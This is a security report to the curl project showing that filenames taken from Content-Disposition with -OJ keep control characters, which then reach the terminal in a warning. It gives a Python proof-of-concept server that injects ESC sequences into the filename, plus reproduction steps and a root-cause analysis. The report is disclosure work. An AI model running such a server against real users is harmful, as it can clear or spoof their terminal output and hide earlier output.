curl · Report #4130124
server filename with control characters printed to terminal (`-J`)
How it was found
Summary:
With -OJ, curl takes the filename from the server's Content-Disposition header. parse_filename() in src/tool_cb_hdr.c does not remove control characters such as ESC (0x1b). When a warning prints that name, the escape sequences reach the terminal.
Steps to reproduce
-
Build curl from the source tree (
cmake+make -j8 curl). The binary isbuild/src/curl. -
Save as
srv.pyand runpython3 -I srv.py:import http.server class H(http.server.BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-Disposition', 'attachment; filename="ok\x1b[2J\x1b[31mPWNED.txt"' .encode('latin-1', 'replace').decode('latin-1')) self.send_header('Content-Length', '4') self.end_headers() self.wfile.write(b'data') def log_message(self, *a): pass http.server.HTTPServer(('127.0.0.1', 8765), H).serve_forever() -
First download creates the file:
mkdir t && cd t /path/to/build/src/curl -OJ http://127.0.0.1:8765/ -
Second download triggers the warning:
/path/to/build/src/curl -OJ http://127.0.0.1:8765/ 2>&1 | cat -vExpected output includes:
Warning: Failed to open the file ok^[[2J^[[31mPWNED.txt: File exists^[is the raw ESC byte.
Root cause
-
parse_filename()does not remove control characters. Insrc/tool_cb_hdr.c(about lines 150–213), the function takes the name fromContent-Dispositionand:- strips quotes and anything after the closing quote,
- keeps only the part after the last
/or\(this blocks path traversal), - removes
\rand\n.
It does not remove other control characters, so ESC (0x1b), other bytes below 0x20, and 0x7f pass through. The Windows-only sanitizer (
sanitize_file_name) would catch them, but it runs only under_WIN32orMSDOS, so on Linux and macOS the name is used as-is. -
voutf()writes its output without escaping. Insrc/tool_msgs.c,voutf()sends the formatted message to stderr withfputsand does not check for non-printable bytes. When the warningFailed to open the file %sincludes the server's name, the escape sequences reach the terminal.
The warning comes from tool_create_output_file() in src/tool_cb_wrt.c, which opens the file with O_CREAT|O_EXCL. The open fails when the name already exists, and the failure message includes the name.
Neither piece is wrong on its own. The bug is that a server-controlled name reaches a terminal-facing output without control characters being removed first.
Impact
- A malicious server can make the terminal clear the screen, hide earlier output, or change colors.
- No code execution, no memory corruption, no file written outside the current directory, no data exposed.
- Needs
-J(not the default), and the name must be printed (for example, a file with that name already exists).